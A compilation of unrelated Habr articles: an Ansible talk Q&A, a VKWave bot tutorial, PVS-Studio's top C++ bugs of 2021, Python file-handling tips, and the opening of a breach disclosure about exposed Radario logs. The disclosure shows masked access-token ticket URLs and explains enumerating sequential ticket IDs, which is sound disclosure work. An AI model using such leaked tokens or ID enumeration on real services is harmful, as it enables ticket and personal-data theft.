Пример из не очень давней практики. Если не ошибаюсь, дело это было в прошлом году. В чем смысл? На агентах сборочных, там, где запускался контроллер Ansible, стоял Ansible 2.4. Я сейчас деталей не помню. Но смысл в том, что штатный модуль «uri», который позволяет обращаться к различным REST API, некорректно работал с Consul'ом. Я не мог добиться того, чтобы вариант загрузки key-value также отрабатывал из Ansible. Т. е. у меня разработчики backend сказали, что «надо вот так». Из командной строки с помощью curl — получается, а штатным модуле- не мог сделать. Тогда я просто скопировал модуль в нужное место, в каталог «library», поменял вызов модуля requests и сделал так, как надо разработчикам backend'а. Это до сих пор лежит и деплоит.
По поводу плагина. В одной компании была попытка пересадить сетевых администраторов c Zabbix на что-нибудь другое. И поставили абсолютно невыполнимое требование, чтобы валидировал, что все было правильно написано. Пришлось для этого написать такой плагин. Финал истории очень забавный. Полтора месяца сетевые администраторы не могли доехать <в другой офис>, чтобы посмотреть, как этим пользоваться. А я потом узнал, что они поставили себе Zabbix «под стол».
*И еще небольшая ремарка. Вы не упомянули, в чем прелесть Ansible перед остальными системами конфигурации.*
Системы управления конфигурациями есть с агентами , и есть без агентов. Агент – это просто какой-то daemon, который висит на хосте и все делает, что ему скомандуют. А «agentless» в Ansible – это когда мы подключились к хосту по SSH, все там сделали и ушли. На хосте больше ничего нет, только его состояние, которое мы прописали в своих скриптах.
*Спасибо за доклад. Где лучше запускать плейбук: локально на машине, либо на коллекторе, либо вообще использовать Ansible Tower?*
Ansible Tower для многих, а, может, и для всех – это либо это дорогая, либо очень дорогая история.
*Там есть сейчас OpenSource версия.*
OpenSource версия – это AWX.
*Да.*
По-честному, таких крутых сервисов, из-за которых стоило бы AWX любить и обожать, и сразу ставить, там нет. Обычный Ansible-плейбук за глаза покрывает все задачи. И либо Ansible интегрируется с существующей системой CI/CD, где мы уже запускаем jobs, применяя Jenkins, например, либо есть такая штука, которая называется Rundeck. Она позволяет очень тонко, с настройками доступа запускать в том числе и shell-команды, к которым ansible-playbook относится.
*Если у вас большая команда, много DevOps и все запускают Ansible глубокие, как вы делаете так, чтобы не было конфликтов?*
Запускается одна job, например, на Jenkins и устанавливается, что одновременно только одна эта job может исполняться. Одномоментно исполняется только один экземпляр job. Т. е. изменения в любом случае будут катиться последовательно.
*А локально как запускать?*
Лучше не надо.
*Спасибо за интересный доклад! Как вы на клиентах валидируете, как вы проверяете валидацию того, что есть? Особенно, когда приходят новички, они могут что-нибудь наделать. Были такие случаи у нас, когда вся вот эта красивая структура начинает прихрамывает из-за этого.*
Во-первых, есть ansible-lint, который позволяет явные глупости затормозить еще в самом начале. Но с другой стороны, он никогда не проверит точные значения параметров. А как оно должно быть на хосте? А как об этом может узнать ansible-lint? Правильный ответ – никак. Нужен код ревью и общая культура разработки.
*Т. е. никаких автоматизированных средств не используете?*
Есть еще инструмент для тестирования плейбуков — molecule.
*Спасибо за доклад! Пару месяцев назад как раз использовал Ansible. И мне надо было убрать маршрутизацию Linux машин. Меня удивило, что нет соответствующего модуля. Я подумал, что это или я что-то делаю нет так, или просто его еще никто не написал.*
Скорее, второе. Почему никто не написал, с учетом того, что Ansible, как минимум, 5 лет? Наверно, люди управляют маршрутизацией как-то по-другому. Кстати, сейчас уже даже сетевики начинают пользоваться open-source’ными инструментами для управления конфигурацией сетевого оборудования (типа napalm).
*Именно под Linux не было.*
Потому что есть Cisco и все остальное, но это мое предположение.
*Был ли у вас опыт работы в связке с Terraform и если – да, то какую боль поймали?*
У меня был опыт работы Ansible без связки с Terraform. Это был деплой, это был Амазон, это было пять регионов. Когда после двух регионов сказали, что надо еще третий, то я дописал несколько строчек и развернул.
Видео: | https://habr.com/ru/post/494738/ | null | ru | null |
# VKWave — фреймворк для разработки ботов ВКонтакте
Привет, Хабр!
Сегодня я хочу рассказать о замечательной библиотеке для разработке ботов ВКонтакте с помощью языка программирования Python.
VKWave
======
VKWave — это фреймворк для разработки ботов ВКонтакте, написанный с помощью asyncio. Основные цели проекта — дать возможность разработчику конфигурировать фреймворк максимально под себя, в тоже время обеспечивая достойную скорость разработки.
Минимальная требуемая версия Python — 3.7
В этой статье я хочу показать вам несколько примеров простых ботов на VKWave, а после вы всегда можете попробовать сами. Фреймворк находится в активной разработке, поэтому документация написанна ещё не до конца, но уже имеется большое количество примеров.
Также у нас есть чат в [Telegram](http://t.me/vkwave)
Установка
---------
Установка очень проста и содержит в себе всего одну команду:
```
pip install vkwave
```
А теперь предлагаю перейти к примерам!
Echo-бот
--------
Самая простая задача. Бот который отвечает нам тем же самым текстом, который мы ему написали.
```
# Импортируем нужные классы.
# SimpleLongPollBot: обёртка для более удобной работы с фреймворком
# SimpleBotEvent: тип события, который предоставляет SimpleLongPollBot
from vkwave.bots import SimpleLongPollBot, SimpleBotEvent
# инициализируем бота (можно ввести список токенов, тогда vkwave сможет обходить лимиты ВКонтакте)
bot = SimpleLongPollBot(tokens=TOKEN, group_id=GROUP_ID)
# декоратор для создания обработчиков.
# можно передавать свои фильтры, но в данном случае мы хотим принимать все сообщения
@bot.message_handler()
def echo(event: SimpleBotEvent) -> str:
# мы можем сразу возвращать текст, т.к vkwave понимает, что если вы возвращаете строку, то вы хотите ответить на сообщение этим текстом. пользователь может задать свои типы данных, которые он сможет возвращать из хендлеров (а также написать нужную логику для их преобразования в нужные действия)
return event.object.object.message.text
# запускаем бота с игнорированием ошибок (не останавливаться даже при них)
bot.run_forever()
```
Код содержит буквально пару строк и выглядит очень легко.
Предлагаю написать что-нибудь поинтереснее. Давайте напишем такого же бота, но он будет печатать в ответ только тот текст, который идёт как аргументы команды `/echo`. Например — `/echo мой текст`.
Вторая версия Echo-бота
-----------------------
```
# мы используем фильтр для команд. он фильтрует все сообщения которые не выглядит как `/<наша команда>`. можно задать свои префиксы, а также передать список команд
@bot.message_handler(bot.command_filter("echo"))
def echo(event: SimpleBotEvent) -> str:
# получаем все аргуметы команды
args = event.object.object.message.text.split()
# проверяем, что есть хотя бы один аргумент
# в противном случае - пишем, что пользователь должен ввести какой-нибудь текст
if len(args) < 2:
return "Напиши какой-нибудь текст!"
# возвращаем итоговый текст (соединяем все аргументы через пробел)
return " ".join(args[1:])
```
Уже интереснее. Как мы видим, VKWave предоставляет нам фильтр для команд. Скажу сразу: стандартных фильтров в VKWave много, а также вы можете написать свои.
### Итоговая версия Echo-бота
А сейчас мы попробуем написать свои фильтры для того, чтобы весь наш обработчик выглядел максимально просто.
```
# Импортируем нужные классы для разработки своих фильтров
from vkwave.bots.core.dispatching.filters.base import BaseFilter, BaseEvent, FilterResult
# объявляем свой фильтр, который наследуется от базового
class EchoFilter(BaseFilter):
# мы можем определить `__init__` для дополнительной настройки фильтра
# объявляем асинхронный метод `check`, который принимает событие и возвращает результат фильтра
async def check(self, event: BaseEvent) -> FilterResult:
# делаем алиас для текста сообщения
text = event.object.object.message.text
# разбиваем сообщение по пробелам
all_args = text.split()
# если частей меньше двух - фильтр не прошёл
if len(all_args) < 2:
# возвращаем False.
# так же можем, например, что-то написать пользователю
# у нас есть `event.api_ctx`, который предоставляет лёгкий доступ ко всем методам
return FilterResult(False)
# если нулевой аргумент (сама команда) не "/echo" возвращаем False
if all_args[0] != "/echo":
return FilterResult(False)
# передаём обработчику уже готовый ответ на сообщение
event["echo_answer"] = " ".join(all_args[1:])
return FilterResult(True)
# используем фильтр
@bot.message_handler(EchoFilter())
def echo(event: SimpleBotEvent) -> str:
# возвращаем текст, который мы уже "собрали" в фильтре
return event["echo_answer"]
```
Заключение
----------
Конечно, я показал вам не все, вообще не все, возможности VKWave. Они очень широки, начиная от возможности своих фильтров и middlewares, типов обработчиков, способов получения событий, заканчивая мультиботом, собственным HTTP клиентом и многое другое!
Этой статьёй я хочу мотивировать вас попробовать создать своего бота ВКонтакте, не используя не удобные `vk_api` и `vk`.
[Репозиторий на GitHub](https://github.com/fscdev/vkwave)
[Наш чат в Telegram](https://t.me/vkwave) | https://habr.com/ru/post/515334/ | null | ru | null |
# Top 10 bugs found in C++ projects in 2021
It's freezing outside, everyone has already decorated the Christmas tree and bought tangerines. New Year is coming! So, it's time to meet the Top 10 interesting bugs found by the PVS-Studio C++ analyzer in 2021.
### 10th: pretty typo in a loop
[V533](https://pvs-studio.com/en/docs/warnings/v533/) [CWE-691] It is likely that a wrong variable is being incremented inside the 'for' operator. Consider reviewing 'i'. gskvulkanimage.c 721
```
void
gsk_vulkan_image_upload_regions (GskVulkanImage *self,
GskVulkanUploader *uploader,
guint num_regions,
GskImageRegion *regions)
{
....
for (int i = 0; i < num_regions; i++)
{
m = mem + offset;
if (regions[i].stride == regions[i].width * 4)
{
memcpy (m, regions[i].data, regions[i].stride * regions[i].height);
}
else
{
for (gsize r = 0; r < regions[i].height; i++) // <=
memcpy (m + r * regions[i].width * 4,
regions[i].data + r * regions[i].stride, regions[i].width * 4);
}
....
}
....
}
```
Note that in a nested loop the *i* variable is incremented instead of the *r* variable. No need to comment. It's a golden classic!
My colleague described this error in the "[Finding typos in the GTK 4 project by PVS-Studio](https://pvs-studio.com/en/blog/posts/cpp/0793/)" article.
### 9th: suddenly, let's talk about... HTML!
[V735](https://pvs-studio.com/en/docs/warnings/v735/) Possibly an incorrect HTML. The "" closing tag was encountered, while the "" tag was expected. qpixeltool.cpp 707
```
QString QPixelTool::aboutText() const
{
const QList screens = QGuiApplication::screens();
const QScreen \*windowScreen = windowHandle()->screen();
QString result;
QTextStream str(&result);
str << "Qt Pixeltool
------------
Qt " << QT\_VERSION\_STR
<< "
Copyright (C) 2017 The Qt Company Ltd.
### Screens
";
for (const QScreen \*screen : screens)
str << "* " << (screen == windowScreen ? "\* " : " ")
<< screen << "
";
str << "";
return result;
}
```
PVS-Studio provides diagnostics that don't just check code – they also look for abnormalities in string literals. The code above triggered one of these diagnostics. Such cases are quite rare. That's why, this one is so intriguing.
Someone intended to create one list but added two tags that open this list instead of one. This is clearly a typo. The first tag must open the list, and the second one must close it. Here is the correct code:
```
str << "";
```
This error was described in the article: "[Date processing attracts bugs or 77 defects in Qt 6](https://pvs-studio.com/en/blog/posts/cpp/0801/)".
### 8th: an unsafe macro
[V634](https://pvs-studio.com/en/docs/warnings/v634/) The priority of the '\*' operation is higher than that of the '<<' operation. It's possible that parentheses should be used in the expression. bug34427.c 160
```
#define PM_EXP2(A) 1 << A
int process_val(const u_int8_t *data, u_int32_t data_len,
u_int32_t *retvalue, ....)
{
*retvalue = 0;
....
/* Now find the actual value */
for (; i < data_len; i++) {
*retvalue += data[i] * PM_EXP2(8 * (data_len - i - 1));
}
return(0);
}
```
The analyzer warns that after the macro expands, it may produce an incorrect expression. The function will first multiply the variable by one, and then conduct the bitwise shift to the expression in parentheses. It was a lucky coincidence that in this line the *x \* 1 << y* expression is equal to *x \* (1 << y)*. If to its left or right the macro has */*, *%*, *+*, *-*, or other operations with a priority greater than *<<,* or if the macro contains an operation that has a lesser priority than *<<*, the expression will not be evaluated correctly. Always wrap the macro and its arguments in parentheses to avoid problems in the future. The following is correct:
```
Define PM_EXP2(A) (1 << (A))
```
You can find this error in the "[PVS-Studio analyzer scans Snort, network traffic scanner](https://pvs-studio.com/en/blog/posts/cpp/0812/)" article.
### 7th: mixed-up divisor and dividend
[V1064](https://pvs-studio.com/en/docs/warnings/v1064/) The 'gPEClockFrequencyInfo.bus\_clock\_rate\_hz' operand of integer division is less than the 'gPEClockFrequencyInfo.dec\_clock\_rate\_hz' one. The result will always be zero. pe\_identify\_machine.c 72
```
void
pe_identify_machine(__unused boot_args *args)
{
....
// Start with default values.
gPEClockFrequencyInfo.timebase_frequency_hz = 1000000000;
gPEClockFrequencyInfo.bus_frequency_hz = 100000000;
....
gPEClockFrequencyInfo.dec_clock_rate_hz =
gPEClockFrequencyInfo.timebase_frequency_hz;
gPEClockFrequencyInfo.bus_clock_rate_hz =
gPEClockFrequencyInfo.bus_frequency_hz;
....
gPEClockFrequencyInfo.bus_to_dec_rate_den =
gPEClockFrequencyInfo.bus_clock_rate_hz /
gPEClockFrequencyInfo.dec_clock_rate_hz;
}
```
All fields used here have integer types:
```
extern clock_frequency_info_t gPEClockFrequencyInfo;
struct clock_frequency_info_t {
unsigned long bus_clock_rate_hz;
unsigned long dec_clock_rate_hz;
unsigned long bus_to_dec_rate_den;
unsigned long long bus_frequency_hz;
unsigned long timebase_frequency_hz;
....
};
```
Through intermediate assignments, the dividend data member *gPEClockFrequencyInfo.bus\_clock\_rate\_hz,* is assigned the 100000000 value, and the divisor data member *gPEClockFrequencyInfo.dec\_clock\_rate\_hz* is assigned the 1000000000 value. In this case, the divisor is ten times greater than the dividend. Since all the data members here are integers, the *gPEClockFrequencyInfo.bus\_to\_dec\_rate\_den* data member is 0.
Judging by the name of the resulting *bus\_to\_dec\_rate\_den* data member, the divisor and the dividend are mixed up.
My colleague described this error in the following article: "[MacOS Kernel, how good is this apple?](https://pvs-studio.com/en/blog/posts/cpp/0818/)".
### 6th: error in selecting types
[V610](https://pvs-studio.com/en/docs/warnings/v610/) Undefined behavior. Check the shift operator '>>='. The right operand ('bitpos % 64' = [0..63]) is greater than or equal to the length in bits of the promoted left operand. master.c 354
```
// bitsperlong.h
#ifdef CONFIG_64BIT
#define BITS_PER_LONG 64
#else
#define BITS_PER_LONG 32
#endif /* CONFIG_64BIT */
// bits.h
/*
* Create a contiguous bitmask starting at bit position @l and ending at
* position @h. For example
* GENMASK_ULL(39, 21) gives us the 64bit vector 0x000000ffffe00000.
*/
#define __GENMASK(h, l) ....
// master.h
#define I2C_MAX_ADDR GENMASK(6, 0)
// master.c
static enum i3c_addr_slot_status
i3c_bus_get_addr_slot_status(struct i3c_bus *bus, u16 addr)
{
int status, bitpos = addr * 2; // <=
if (addr > I2C_MAX_ADDR)
return I3C_ADDR_SLOT_RSVD;
status = bus->addrslots[bitpos / BITS_PER_LONG];
status >>= bitpos % BITS_PER_LONG; // <=
return status & I3C_ADDR_SLOT_STATUS_MASK;
}
```
Note that the *BITS\_PER\_LONG* macro can be 64-bit.
The code contains undefined behavior:
* after the check, the *addr* variable can be in the range [0..127]
* if the formal parameter is *addr >= 16*, then the *status* variable is right-shifted by a number of bits more than the *int* type contains (32 bits).
Perhaps, the author wanted to reduce the number of lines and declared the *bitpos* variable next to the *status* variable. However, the programmer did not take into account that *int* has a 32-bit size on 64-bit platforms, unlike the *long* type.
To fix this, declare the *status* variable with the *long* type.
You can read about this error in the "[Linux kernel turns 30: congratulations from PVS-Studio](https://pvs-studio.com/en/blog/posts/cpp/0858/)" article. Do read the article, if you haven't already. You'll find nice old-school pictures :)
### 5th: intermodular analysis and lost memset
This year, the PVS-Studio developers added one major and necessary feature – intermodular analysis of C++ projects. Intermodular analysis helped to find this warning in the [codelite](https://github.com/eranif/codelite) project.
[V597](https://pvs-studio.com/en/docs/warnings/v597/) The compiler could delete the 'memset' function call, which is used to flush 'current' object. The memset\_s() function should be used to erase the private data. args.c 269
```
// args.c
extern void eFree (void *const ptr);
extern void argDelete (Arguments* const current)
{
Assert (current != NULL);
if (current->type == ARG_STRING && current->item != NULL)
eFree (current->item);
memset (current, 0, sizeof (Arguments)); // <=
eFree (current); // <=
}
// routines.c
extern void eFree (void *const ptr)
{
Assert (ptr != NULL);
free (ptr);
}
```
LTO (Link Time Optimization) may optimize out the *memset* call. The compiler, using the [as-if](https://en.cppreference.com/w/cpp/language/as_if) rule, figures out that *eFree* doesn't calculate any useful pointer-related data. *eFree* only calls the *free* function that frees memory.
Without LTO, the *eFree* call looks like an unknown external function, so *memset* will remain.
This error was described in the following article: "[Intermodular analysis of C++ projects in PVS-Studio](https://pvs-studio.com/en/blog/posts/cpp/0851/)".
### 4th: senseless check && Unreal Engine
Recently, PVS-Studio enhanced the check of Unreal Engine projects. My colleague wrote an article, describing this in detail – you'll find the link below. First, let's take a look at an interesting error that the analyzer found.
[V547](https://pvs-studio.com/en/docs/warnings/v547/) Expression 'm\_trail == 0' is always false. unpack.hpp 699
```
std::size_t m_trail;
....
inline int context::execute(const char* data, std::size_t len,
std::size_t& off)
{
....
case MSGPACK_CS_EXT_8: {
uint8_t tmp;
load(tmp, n);
m\_trail = tmp + 1;
if(m\_trail == 0) {
unpack\_ext(m\_user, n, m\_trail, obj);
int ret = push\_proc(obj, off);
if (ret != 0) return ret;
}
else {
m\_cs = MSGPACK\_ACS\_EXT\_VALUE;
fixed\_trail\_again = true;
}
} break;
....
}
```
Let's see what's going on in this code fragment.
We have the *tmp* variable of the *uint8\_t* type. Its value is limited with eight bits – *[0, 255]*. The programmer who wrote this code assumes that *tmp* can be *255*. After the *m\_trail = tmp + 1* assignment, they check that there's no integer overflow. An unsigned integer arithmetic can cause a wrap around. So, the result of the *tmp + 1* operation can be *0*.
However, the analyzer says that the *m\_trail == 0* check is always *false*. Let's figure it out.
At first, we need to recall *std::common\_type*. By the way, we discussed it in our recent [article](https://pvs-studio.com/en/blog/posts/cpp/0892/).
Let's consider the line. It contains the addition operation. For binary operations between values of different types, the compiler uses *usual arithmetic conversions* during which *integral promotion* is applied to the *tmp* variable. Its type in this expression is expanded to the type of the *1* literal, that is, to *int*. As a result, even if the *tmp* value is *255*, the addition operation results in *256*. The *int* type stores this value. So, the *m\_trail == 0* check is senseless.
My colleague described this error in the "[How the Carla car simulator helped us level up the static analysis of Unreal Engine 4 projects](https://pvs-studio.com/en/blog/posts/cpp/0888/)" article.
### 3rd: misinterpreted error in the date processing function
In this case, the PVS-Studio analyzer issued a whole bunch of warnings:
* [V547](https://pvs-studio.com/en/docs/warnings/v547/) [CWE-571] Expression 'month' is always true. qdatetime.cpp 4907
* [V560](https://pvs-studio.com/en/docs/warnings/v560/) [CWE-570] A part of conditional expression is always false: !month. qdatetime.cpp 4911
* [V547](https://pvs-studio.com/en/docs/warnings/v547/) [CWE-571] Expression 'month' is always true. qdatetime.cpp 4913
* [V560](https://pvs-studio.com/en/docs/warnings/v560/) [CWE-570] A part of conditional expression is always false: !month. qdatetime.cpp 4921
First, let's take a look at the function that accepts a month's abbreviated name and returns its number.
```
static const char qt_shortMonthNames[][4] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
static int fromShortMonthName(QStringView monthName)
{
for (unsigned int i = 0;
i < sizeof(qt_shortMonthNames) / sizeof(qt_shortMonthNames[0]); ++i)
{
if (monthName == QLatin1String(qt_shortMonthNames[i], 3))
return i + 1;
}
return -1;
}
```
If the operation succeeds, the function returns the month number (a value from 1 to 12). If the month's name is incorrect, the function returns a negative value (-1). Note that the function cannot return 0.
However, the function above is used where the developer expects it to return zero value in case of an error. Here's the code fragment with the incorrect *fromShortMonthName* function:
```
QDateTime QDateTime::fromString(QStringView string, Qt::DateFormat format)
{
....
month = fromShortMonthName(parts.at(1));
if (month)
day = parts.at(2).toInt(&ok);
// If failed, try day then month
if (!ok || !month || !day) {
month = fromShortMonthName(parts.at(2));
if (month) {
QStringView dayPart = parts.at(1);
if (dayPart.endsWith(u'.'))
day = dayPart.chopped(1).toInt(&ok);
}
}
....
}
```
The program never reaches the code that checks the month number for zero value. It continues to run with an incorrect negative month number.
This error was discussed in the "[Date processing attracts bugs or 77 defects in Qt 6](https://pvs-studio.com/en/blog/posts/cpp/0801/)" article.
### 2nd: an example of inattention
[V726](https://pvs-studio.com/en/docs/warnings/v726/) An attempt to free memory containing the 'wbuf' array by using the 'free' function. This is incorrect as 'wbuf' was created on stack. log.cpp 216
```
template
static ALWAYS\_INLINE void FormatLogMessageAndPrintW(....)
{
....
wchar\_t wbuf[512];
wchar\_t\* wmessage\_buf = wbuf;
....
if (wmessage\_buf != wbuf)
{
std::free(wbuf);
}
if (message\_buf != buf)
{
std::free(message\_buf);
}
....
}
```
This code fragment triggered the analyzer. An attempt to delete an array allocated on the stack provokes an error. The memory has not been allocated on the heap. So, there's no need to call any special functions like *std::free* to clear it. When the object is destroyed, the memory is cleared automatically.
To my mind, the origin of this warning is more thrilling than the warning itself. I don't want to spoil the story, so, I invite you to read the original article: "[How a PVS-Studio developer defended a bug in a checked project](https://pvs-studio.com/en/blog/posts/cpp/0880/)".
This is not the only bug we found in this project. To see the full list of curious warnings, read the following article: "[PVS-Studio searches for bugs in the DuckStation project](https://pvs-studio.com/en/blog/posts/cpp/0881/)".
### 1st: an example of greater inattention
We always warn our users of making errors. But this year, we made the error. We are not afraid to talk about this. Such cases prove that a static analyzer is much more attentive than a programmer. Here's an example:
[V645](https://pvs-studio.com/en/docs/warnings/v645/) The 'strncat' function call could lead to the 'a.consoleText' buffer overflow. The bounds should not contain the size of the buffer, but a number of characters it can hold.
```
struct A
{
char consoleText[512];
};
void foo(A a)
{
char inputBuffer[1024];
....
strncat(a.consoleText, inputBuffer, sizeof(a.consoleText) –
strlen(a.consoleText) - 5);
....
}
```
At first glance, the code fragment seems to be correct. We are safe from undefined behavior. However, let's take a closer look at an expression:
```
sizeof(a.consoleText) – strlen(a.consoleText) – 5
```
The expression may receive a negative number! For example, such may happen if *strlen(a.consoleText) = 508*. In this case, an unsigned integer overflow happens. The expression results in the maximum value of the resulting type – *size\_t*.
This error was described in the following article: "[One day in the life of PVS-Studio developer, or how I debugged diagnostic that surpassed three programmers](https://pvs-studio.com/en/blog/posts/cpp/0842/)".
### Conclusion
This year, we checked lots of C++ projects. We could even write several reviews about top bugs. If you have your Top 10 bugs list, feel free to share them in the comments after reading articles from our [blog](https://pvs-studio.com/en/blog/posts/cpp/).
Every year we write New Year's articles about Top 10 bugs. I invite you to read articles about Top 10 bugs in C++ projects for the past years: [2016](https://www.pvs-studio.com/en/b/0483/), [2017](https://www.pvs-studio.com/en/b/0565/), [2018](https://www.pvs-studio.com/en/b/0619/), [2019](https://www.pvs-studio.com/en/b/0700/), [2020](https://pvs-studio.com/en/blog/posts/cpp/0784/). | https://habr.com/ru/post/596973/ | null | en | null |
# Скрипты Python против Bash — 2 или Tips & Tricks
Довольно давно я написал [статью](http://habrahabr.ru/blogs/python/47474/), в которой приводил примеры основ работы с системой с помощью Python-скриптов. Из-за мельком оброненной фразы (достаточно взглянуть на название топика) статья получила довольно много комментариев холиварного и не очень характера. Кому-то, возможно, захотелось воспользоваться возможностями Python для администрирования (сейчас подобного рода тулзы на питоне как раз набирают популярность). Так почему бы не завлечь в свой стан еще немного единомышленников? :) Встречайте — небольшая подборка простых приемов для тех или иных целей.
#### Файлы и кое-что еще
Итак, сразу с места в карьер! Для начала возьмем банальную процедуру — копирование файла. До сих пор помню этот ужас, который приходилось писать на голом Си — считывание файла построчно в переменную и перезапись его по другому адресу… Но ведь вполне можно воспользоваться и более простыми методами! :) Первый способ, который придет в голову линуксоиду — это, скорее всего, что-то вроде
> `Copy Source | Copy HTML1. import subprocess
> 2. **subprocess**.Popen('cp /usr/share/file.txt /home/user/file.txt', shell=True)`
Только вот подобный способ будет работать только при наличии bash или подобного ему интерпретатора (ну или потребует прописания алиасов). Зачем? Ведь можно воспользоваться методом отличного модуля **shutil**:
> `Copy Source | Copy HTML1. import shutil
> 2. **shutil**.copyfile("C:\\My Documents\\mydoc.doc", "C:\\My Documents\\mydoc\_2.doc")`
Переименование делается похожим образом:
> `Copy Source | Copy HTML1. import os
> 2. **os**.rename("/home/user/testfile.txt", "/home/user/test.txt")`
Удалить файл можно, соответственно, с помощью **os.remove()**.
Для записи данных в файл можно использовать как питоновый **write()**, так и «поточный» вариант (сиплюсплюсники, привет вам):
> `Copy Source | Copy HTML1. myfile = **open**("/home/user/testfile.txt", "w")
> 2. print>>myfile, "I want to drink some beer with Guido"
> 3. myfile.close()`
**upd:** Более современный метод от юзернейма [](http://bioroot.habrahabr.ru/) [bioroot](http://bioroot.habrahabr.ru/) (включен по умолчанию только начиная с версии 2.6, в 2.5 его можно взять из \_\_future\_\_:
>> from \_\_future\_\_ import with\_statement ):
> `Copy Source | Copy HTML1. with **open**("/home/user/testfile.txt", "w") as myfile:
> 2. print>>myfile, "I want to drink some beer with Guido"`
Иногда (например, при чтении логов) вам может понадобиться читать файл построчно, начиная с конца. Делается это элементарно:
> `Copy Source | Copy HTML1. for line in **reversed**(**open**("/var/log/messages").readlines()):
> 2. print line`
А чтобы прочесть строку под определенным номером — можно воспользоваться как стандартным чтением файла в лист, так и использовать модуль **linecache**:
> `Copy Source | Copy HTML1. line = **linecache**.getline("C:\\test.txt", 2)
> 2. print line
> 3. # or
> 4. line = **open**("C:\\test.txt").readlines()[1]
> 5. print line`
Кстати, бинарный файл читать ничуть не сложнее:
> `Copy Source | Copy HTML1. pic = **open**("C:\\Pictures\\V4erashnaya\_pyanka.bmp", "rb")
> 2. buf = pic.read(5) # считываем первые 5 байт
> 3. print buf`
Кроме того, чтобы не заблудиться:
> `Copy Source | Copy HTML1. print pic.tell() # число байт с начала файла
> 2. pic.seek(0) # назад в начало`
Если, например, мы пишем программу с поддержкой плагинов — нам может понадобиться перебор файлов в определенном каталоге:
> `Copy Source | Copy HTML1. for filename in **os**.listdir("../plugins"):
> 2. print(filename)`
Причем можно делать то же самое по маске:
> `Copy Source | Copy HTML1. import glob
> 2. for filename in **glob**.**glob**("../plugins/\*.zip"):
> 3. print filename`
Парсим пути:
> `Copy Source | Copy HTML1. print **os**.path.dirname("/home/user/test.txt") #имя каталога
> 2. print **os**.path.basename("/home/user/test.txt") #имя файла`
Открываем адрес или локальный файл в браузере по умолчанию (например, при создании ссылок в about-окошках):
> `Copy Source | Copy HTML1. import webbrowser
> 2. **webbrowser**.**open**('http://www.habrahabr.ru/')
> 3. **webbrowser**.**open**(u'file://home/user/mysite.html')
> 4. **webbrowser**.**open**(u'mailto:foo@bar.com?subject=Feedback%20message')`
Для определения кодировки строки или файла можно воспользоваться удобным модулем **chardet**, причем возвращается не только кодировка, но и «уверенность» в том, что она определена правильно, в красивом словарике:
> `Copy Source | Copy HTML1. import chardet
> 2. str = **open**("/home/user/myfile.txt","r").**readline**()
> 3. enc = chardet.detect(str)
> 4. print enc['confidence']
> 5. print enc['encoding']`
Очень удобная вещь когда нужно, например, заюникодить строку с заранее неизвестной кодировкой. Правда, я столкнулся с проблемой определения mac-кодировок (всегда возвращается простой ascii, но на то он и мак, что часть символов кодируется не как обычно). В любом случае, линуксоидам легче — у нас есть **enca** и **iconv** :)
Ну что, пока хватит? Если тенденция понравится — попробую продолжить описание применения Python для администрирования системы и напишем пару рабочих примеров. И да, огромное спасибо такой вещи, как Python Cookbook! | https://habr.com/ru/post/62383/ | null | ru | null |
# Два в одном: данные туристов и билеты на культурные мероприятия находились в открытом доступе
Сегодня рассмотрим сразу два кейса – данные клиентов и партнеров двух совершенно разных компаний оказались в свободном доступе «благодаря» открытым серверам Elasticsearch с логами информационных систем (ИС) этих компаний.
В первом случае — это десятки тысяч (а может и сотни тысяч) билетов на различные культурные мероприятия (театры, клубы, речные прогулки и т.п.) продаваемые через систему «Радарио» (*www.radario.ru*).
Во втором случае — это данные о туристических поездках тысяч (возможно нескольких десятков тысяч) путешественников, купивших туры через турагентства, подключенные к системе «Слетать.ру» (*www.sletat.ru*).
Сразу отмечу, что отличаются не только названия компаний, допустивших попадание данных в открытый доступ, но и подход этих компаний к признанию инцидента и последующая реакция на него. Но обо всем по порядку…
`Дисклеймер: вся информация ниже публикуется исключительно в образовательных целях. Автор не получал доступа к персональным данным третьих лиц и компаний. Информация взята либо из открытых источников, либо была предоставлена автору анонимными доброжелателями.`
### Случай первый. «Радарио»
Вечером 06.05.2019 наша система [обнаружила в свободном доступе сервер Elasticsearch](https://www.devicelock.com/ru/data-breach-intelligence/), принадлежащий сервису по продаже электронных билетов «Радарио».
По уже сложившейся печальной традиции, сервер содержал детальные логи информационной системы сервиса, из которых можно было получить персональные данные, логины и пароли пользователей, а также непосредственно сами электронные билеты на различные мероприятия по всей стране.
Общий объем логов превышал 1 Тб.
По данным поисковика Shodan сервер находился в открытом доступе с 11.03.2019. Я оповестил сотрудников «Радарио» 06.05.2019 в 22:50 (МСК) и 07.05.2019 около 09:30 сервер стал недоступен.
В логах находился универсальный (единый) токен авторизации, предоставляющий доступ ко всем купленным билетам по специальным ссылкам, вида:
```
http://radario.ru/internal/tickets/XXXXXXXX/print?access_token=******JuYWw6MDIzOWRjOTM1NzJiNDZjMTlhZGFjZmRhZTQ3ZDgyYTk
http://radario.ru/internal/orders/YYYYYYY/print?access_token=******JuYWw6MDIzOWRjOTM1NzJiNDZjMTlhZGFjZmRhZTQ3ZDgyYTk
```
Проблема также заключалась в том, что для учета билетов использовалась сквозная нумерация заказов и простым перебором номера билета (*XXXXXXXX*) или заказа (*YYYYYYY*), можно было получить все билеты из системы.
Для проверки актуальности базы я даже честно купил себе самый дешевый билет:
и позже обнаружил его на общедоступном сервере в логах ИС:
```
http://radario.ru/internal/tickets/11819272/print?access_token==******JuYWw6MDIzOWRjOTM1NzJiNDZjMTlhZGFjZmRhZTQ3ZDgyYTk
```
Отдельно хочется подчеркнуть, что были доступны билеты как на уже прошедшие мероприятия, так и на те, которые еще только планируются. То есть, потенциальный злоумышленник мог воспользоваться чужим билетом для прохода на планируемое мероприятие.
В среднем в каждом индексе Elasticsearch, содержащем логи за один определенный день (начиная с 24.01.2019 и по 07.05.2019), находилось от 25 до 35 тыс. билетов.
Помимо самих билетов в индексе содержались логины (адреса электронной почты) и текстовые пароли для доступа в личные кабинеты партнеров «Радарио», продающих билеты на свои мероприятия через данный сервис:
```
Content: \"ReturnUrl=&UserEmail=***@yandex.ru&UserPassword=***\"
```
Всего было обнаружено более 500 пар логин/пароль. В личных кабинетах партнеров видна статистика продаж билетов:
Также в открытом доступе находились ФИО, телефоны и адреса электронной почты покупателей, решивших осуществить возврат, купленных ранее билетов:
```
